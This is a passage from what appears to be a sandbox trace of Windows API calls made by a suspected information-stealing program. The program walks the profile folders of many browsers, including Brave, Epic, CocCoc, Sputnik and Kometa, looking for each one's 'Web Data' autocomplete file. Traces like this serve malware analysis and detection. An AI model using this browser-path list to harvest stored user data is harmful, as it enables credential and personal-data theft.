nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.927] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.927] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf394c, cbMultiByte=9, lpWideCharStr=0x1e7dea28, cchWideChar=2047 | out: lpWideCharStr="GoBrowsers\\AutoCompleteer Data\\\\User Data\\a\\ṽ鵎瑰\x04") returned 9 [0163.927] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1450, cbMultiByte=29, lpWideCharStr=0x1e7dea24, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Go!\\User Data\\ata\\\\User Data\\a\\ṽ鵎瑰\x04") returned 29 [0163.928] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Go!\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Go!\\User Data\\") returned 0x2f [0163.928] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022ddc, cbMultiByte=21, lpWideCharStr=0x1e7dea2c, cchWideChar=2047 | out: lpWideCharStr="Browsers\\AutoCompleteata\\ata\\\\User Data\\a\\ṽ鵎瑰\x04") returned 21 [0163.928] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Go!\\User Data\\\\*.*", lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.928] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de744, cchWideChar=2047 | out: lpWideCharStr="Web Data") returned 8 [0163.928] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Go!\\User Data\\\\\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\go!\\user data\\web data")) returned 0xffffffff [0163.928] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.928] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.928] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3ab0, cbMultiByte=7, lpWideCharStr=0x1e7dea28, cchWideChar=2047 | out: lpWideCharStr="Sputnikers\\AutoCompleteata\\ata\\\\User Data\\a\\ṽ鵎瑰\x04") returned 7 [0163.928] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1548, cbMultiByte=41, lpWideCharStr=0x1e7dea24, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Sputnik\\Sputnik\\User Data\\ta\\a\\ṽ鵎瑰\x04") returned 41 [0163.929] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Sputnik\\Sputnik\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Sputnik\\Sputnik\\User Data\\") returned 0x3b [0163.929] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022ddc, cbMultiByte=21, lpWideCharStr=0x1e7dea2c, cchWideChar=2047 | out: lpWideCharStr="Browsers\\AutoCompleteutnik\\User Data\\ta\\a\\ṽ鵎瑰\x04") returned 21 [0163.929] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Sputnik\\Sputnik\\User Data\\\\*.*", lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.929] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de744, cchWideChar=2047 | out: lpWideCharStr="Web Data") returned 8 [0163.929] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Sputnik\\Sputnik\\User Data\\\\\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\sputnik\\sputnik\\user data\\web data")) returned 0xffffffff [0163.929] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.929] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.929] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3c14, cbMultiByte=6, lpWideCharStr=0x1e7dea28, cchWideChar=2047 | out: lpWideCharStr="Kometasers\\AutoCompleteutnik\\User Data\\ta\\a\\ṽ鵎瑰\x04") returned 6 [0163.929] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1650, cbMultiByte=32, lpWideCharStr=0x1e7dea24, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Kometa\\User Data\\ser Data\\ta\\a\\ṽ鵎瑰\x04") returned 32 [0163.929] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Kometa\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Kometa\\User Data\\") returned 0x32 [0163.930] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Kometa\\User Data\\\\*.*", lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.930] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de744, cchWideChar=2047 | out: lpWideCharStr="Web Data") returned 8 [0163.931] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.931] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.931] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\uCozMedia\\Uran\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\uCozMedia\\Uran\\User Data\\") returned 0x3a [0163.931] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\uCozMedia\\Uran\\User Data\\\\*.*", lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.931] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de744, cchWideChar=2047 | out: lpWideCharStr="Web Data") returned 8 [0163.931] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.931] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.931] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\QIP Surf\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\QIP Surf\\User Data\\") returned 0x34 [0163.931] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\QIP Surf\\User Data\\\\*.*", lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.931] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de744, cchWideChar=2047 | out: lpWideCharStr="Web Data") returned 8 [0163.932] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.932] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.932] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Epic Privacy Browser\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Epic Privacy Browser\\User Data\\") returned 0x40 [0163.932] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*", lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.932] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de744, cchWideChar=2047 | out: lpWideCharStr="Web Data") returned 8 [0163.932] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.932] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.932] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\brave\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\brave\\") returned 0x29 [0163.932] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\brave\\\\*.*", lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.932] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de744, cchWideChar=2047 | out: lpWideCharStr="Web Data") returned 8 [0163.933] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.933] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.933] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\CocCoc\\Browser\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\CocCoc\\Browser\\User Data\\") returned 0x3a [0163.933] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*", lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.933] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de744, cchWideChar=2047 | out: lpWideCharStr="Web Data") returned 8 [0163.933] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.933] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.933] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\CentBrowser\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\CentBrowser\\User Data\\") returned 0x37 [0163.933] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\CentBrowser\\User Data\\\\*.*", lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.934] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de744, cchWideChar=2047 | out: lpWideCharStr="Web Data") returned 8 [0163.934] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.934] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.934] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x412000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x412000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.935] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1dd0, cbMultiByte=37, lpWideCharStr=0x1e7dea24, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\7Star\\7Star\\User Data\\ta\\ Data\\ṽ鵎瑰\x04") returned 37 [0163.935] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\7Star\\7Star\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\7Star\\7Star\\User Data\\") returned 0x37 [0163.935] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022ddc, cbMultiByte=21, lpWideCharStr=0x1e7dea2c, cchWideChar=2047 | out: lpWideCharStr="Browsers\\AutoCompleter\\User Data\\ta\\ Data\\ṽ鵎瑰\x04") returned 21 [0163.935] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*", lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.935] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de744, cchWideChar=2047 | out: lpWideCharStr="Web Data") returned 8 [0163.935] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\7Star\\7Star\\User Data\\\\\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\7star\\7star\\user data\\web data")) returned 0xffffffff [0163.936] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.936] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.936] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3f6c, cbMultiByte=15, lpWideCharStr=0x1e7dea28, cchWideChar=2047 | out: lpWideCharStr="ElementsBrowserCompleter\\User Data\\ta\\ Data\\ṽ鵎瑰\x04") returned 15 [0163.936] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1ef4, cbMultiByte=42, lpWideCharStr=0x1e7dea24, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Elements Browser\\User Data\\ata\\ṽ鵎瑰\x04") returned 42 [0163.936] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Elements Browser\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Elements Browser\\User Data\\") returned 0x3c [0163.936] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022ddc, cbMultiByte=21, lpWideCharStr=0x1e7dea2c, cchWideChar=2047 | out: lpWideCharStr="Browsers\\AutoCompleterowser\\User Data\\ata\\ṽ鵎瑰\x04") returned 21 [0163.936] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Elements Browser\\User Data\\\\*.*", lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.936] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de744, cchWideChar=2047 | out: lpWideCharStr="Web Data") returned 8 [0163.937] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Elements Browser\\User Data\\\\\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\elements browser\\user data\\web data")) returned 0xffffffff [0163.937] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.937] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.937] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3f88, cbMultiByte=6, lpWideCharStr=0x1e7dea28, cchWideChar=2047 | out: lpWideCharStr="TorBrosers\\AutoCompleterowser\\User Data\\ata\\ṽ鵎瑰\x04") returned 6 [0163.937] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2020, cbMultiByte=30, lpWideCharStr=0x1e7dea24, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\TorBro\\Profile\\r\\User Data\\ata\\ṽ鵎瑰\x04") returned 30 [0163.937] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\TorBro\\Profile\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\TorBro\\Profile\\") returned 0x30 [0163.937] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022ddc, cbMultiByte=21, lpWideCharStr=0x1e7dea2c, cchWideChar=2047 | out: lpWideCharStr="Browsers\\AutoCompletefile\\r\\User Data\\ata\\ṽ鵎瑰\x04") returned 21 [0163.937] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\TorBro\\Profile\\\\*.*", lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.938] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de744, cchWideChar=2047 | out: lpWideCharStr="Web Data") returned 8 [0163.938] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\TorBro\\Profile\\\\\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\torbro\\profile\\web data")) returned 0xffffffff [0163.938] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.938] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.938] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3f9c, cbMultiByte=5, lpWideCharStr=0x1e7dea28, cchWideChar=2047 | out: lpWideCharStr="Suhbawsers\\AutoCompletefile\\r\\User Data\\ata\\ṽ鵎瑰\x04") returned 5 [0163.938] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2144, cbMultiByte=31, lpWideCharStr=0x1e7dea24, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Suhba\\User Data\\\\User Data\\ata\\ṽ鵎瑰\x04") returned 31 [0163.938] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Suhba\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Suhba\\User Data\\") returned 0x31 [0163.938] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022ddc, cbMultiByte=21, lpWideCharStr=0x1e7dea2c, cchWideChar=2047 | out: lpWideCharStr="Browsers\\AutoComplete Data\\\\User 